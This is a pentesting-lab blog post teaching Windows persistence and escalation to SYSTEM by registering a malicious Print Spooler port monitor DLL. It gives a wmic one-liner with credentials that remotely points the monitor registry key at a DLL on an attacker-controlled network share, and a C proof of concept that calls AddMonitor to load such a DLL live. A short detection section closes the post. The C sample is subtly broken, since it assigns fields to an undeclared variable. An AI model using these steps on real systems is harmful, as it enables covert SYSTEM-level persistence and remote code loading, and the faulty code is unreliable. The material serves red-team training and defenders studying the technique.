Slayer Labs

Cyber Range Platform

Windows Persistence via Port Monitors

This post will cover some quick research done from poking around the Windows persistence technique of Port Monitors aka Mitre technique T1547.010. This method can also be used to escalate privileges from Administrator(in most cases) to SYSTEM.

Port Monitors have been documented in the past but I wanted to dive a little deeper and post a couple extra trinkets.

What’s a Port Monitor?

The context of a Port Monitor (in this post) is related to the Windows Print Spooler Service or spoolsv.exe. When adding a printer port monitor a user (or attacker😈) has the ability to add an arbitrary dll that acts as the “monitor”.

There are basically two ways to add a port monitor aka your evil dll: via Registry for persistence or via a custom Windows app (AddMonitor function) for immediate dll execution.

A nice bonus is your dll will be executed as NT AUTHORITY/SYSTEM since this is what the parent spoolsv.exe is run as. The catch is you need local admin privs or at least the ability to write to the registry.

First, onto persistence…

Registry Persistence

Under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors hive is a list of sub-key port monitors. Each key should have a REG_SZ entry of Drivers with a specified DLL. Whenever your system boots, each of these DLL’s will be executed as SYSTEM.

From MSDN docs, the DLL in the Drivers entry, and any accompanying files need to be located in C:\Windows\System32\. This isn’t necessarily the case which we’ll find out later.

In this post a simple dll payload is used to pop calc through each example: calc_64.dll. For the first example a quick and simple key and Driver entry is added, with the payload already having been slid into System32.

Port Monitor Registry Key

Guess what will happen after reboot? Correct, the Windows boot sequence initiates eventually leading to calc being popped.

Off-Disk

Hidding your dll in System32 may avoid AV/AppLocker issues since it’s a protected directory, but how about keeping the payload off disk? Sure! Just toss it on an attacker controlled share.

Port Monitor UNC share

In this case the HosakaHQ share has share permissions set to Everyone R+W, so when the target boots up calc is popped after a few minutes.

One even better, you can use Wmic(or WinRM, Remote Registry, etc) to add the UNC registry key remotely so no need to pop an initial shell or drop anything to disk. Below, the domain user johnny has local administrator privs on the target 10.35.11.20 and on the new share MaasMesa.

One-liner

wmic /node:10.35.11.20 /user:"bama\johnny" /password:Folldalrocks process call create "reg add "HKLM\System\CurrentControlSet\Control\Print\Monitors\Slayer" /v "Driver" /d "\\maasmesa\share\calc_64.dll" /t REG_SZ"

Note

Like other posts, if you’re reading this and blasting VM’s on TheSprawl range, passwords posted here have been altered to avoid spoilers 🧙.

In Action

Running the above Wmic command from a offensive windows box, then switching to the target box refreshing the reg.

Port Monitor Remote Add


Now, after reboot plus a few minutes of waiting around, calc is started by spoolsv.exe

Port Monitor Remote Add

Nothing crazy or new, but another option besides run keys while staying (sort of)off-disk. Next, onto adding a port monitor and executing it live.

Note

Using impacket-smbserver.py seemed to not completely work. In these examples, normal domain-joined boxes with Everyone permissions worked without issues using either the hostname or IP.

AddMonitor()

Adding an arbitrary monitor DLL can also be done immediately while the system is up using the Win32 API - specifically the AddMonitor function part of the Print Spooler API. Like the previous method you’ll also need local admin privs to add the monitor.

Not a mega hack, but allows your payload to: “hide” under spoolsv.exe, potentially stay off disk, and run as SYSTEM. Here’s an example poc with the payload being on a share.

#include <windows.h>

int main()
{
    //Build the struct req by AddMonitor
    MONITOR_INFO_2 mon;
    TCHAR name[14] = TEXT("MonitorSlayer");
    TCHAR arch[12] = TEXT("Windows x64");
    TCHAR dll[39] = TEXT("\\\\maasmesa\\share\\calc_64.dll");
    monitorInfo.pName = name;
    monitorInfo.pEnvironment = arch;
    monitorInfo.pDLLName = dll;

    //Add the monitor
    AddMonitor(NULL, 2, (LPBYTE)&mon);
    return 0;
}

Once compiled, simply execute in an elevated terminal.

In Action

In the below example both the evil binary portmon.exe (not to be confused with the legit sysinternals tool!) and payload are executed from the MaasMesa share. Also note calc.exe starting under spoolsv.exe.

AddMonitor Remotely via UNC


Here’s a shot of procmon when executed on Server2019 - spoolsv.exe being the parent process.

AddMonitor Local Drive

The payload can also be placed on disk outside of System32, just adjust the AddMonitor function accordingly.

Detect

A quick port monitor persistence check can be done by querying the registry.

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

Example Below - all are Win10 2004 default besides the obvious. AddMonitor Local Drive

You can also throw together some regex in PowerShell to check for dll’s in network UNC paths. May also be a quick useful way to search deeper into the regsitry for certain file extensions living remotely.

Get-ChildItem -recurse HKLM:\SYSTEM\CurrentControlSet\Control\Print 
|Get-ItemProperty 
| where { $_ -match "\\\\(.*)\\(.*).dll" }

A more thorough check would involve looking into the dll’s a bit more. This could probably be done in PowerShell easily, but I threw together a crude and dirty C# app that’ll check a few attributes from each DLL found within HKLM:\SYSTEM\CurrentControlSet\Control\Print\Monitors\.

AddMonitor Local Drive

The app also checks for running processes with a parent process of spoolsv.

Process Explorer and AutoRuns will also show process details and potential malicious print monitor registry entries. There’s also an API of EnumMonitors that I tested, but didn’t pull back any new added monitors - added in the reg & via AddMonitor API call. Someone better at Windows programming can probably figure it out.

If you have verbose logging setup, you can also monitor Win32 API calls to AddMonitor (as MITRE suggests).

Summary & Sources

If you’ve found this post useful and would like to get more hands-on pentesting lab time be sure to checkout the available ranges here at SlayerLabs.

At the time of writting, there aren’t any labs that focus on Windows persistence, but if you’re looking to get more precious XP with Windows/AD be sure to check out TheSprawl. Although be advised, TheSprawl is not recommended for beginners.


Defcon Talk presenting this technique: https://www.youtube.com/watch?v=dq2Hv7J9fvk

MITRE Technique: https://attack.mitre.org/techniques/T1547/010/

Win32 AddMonitor: https://docs.microsoft.com/en-us/windows/win32/printdocs/addmonitor

Win32 Monitor-Info-2: https://docs.microsoft.com/en-us/windows/win32/printdocs/monitor-info-2

WMI Securityhttps://docs.microsoft.com/en-us/previous-versions/tn-archive/ee156574(v=technet.10)?redirectedfrom=MSDN

« Back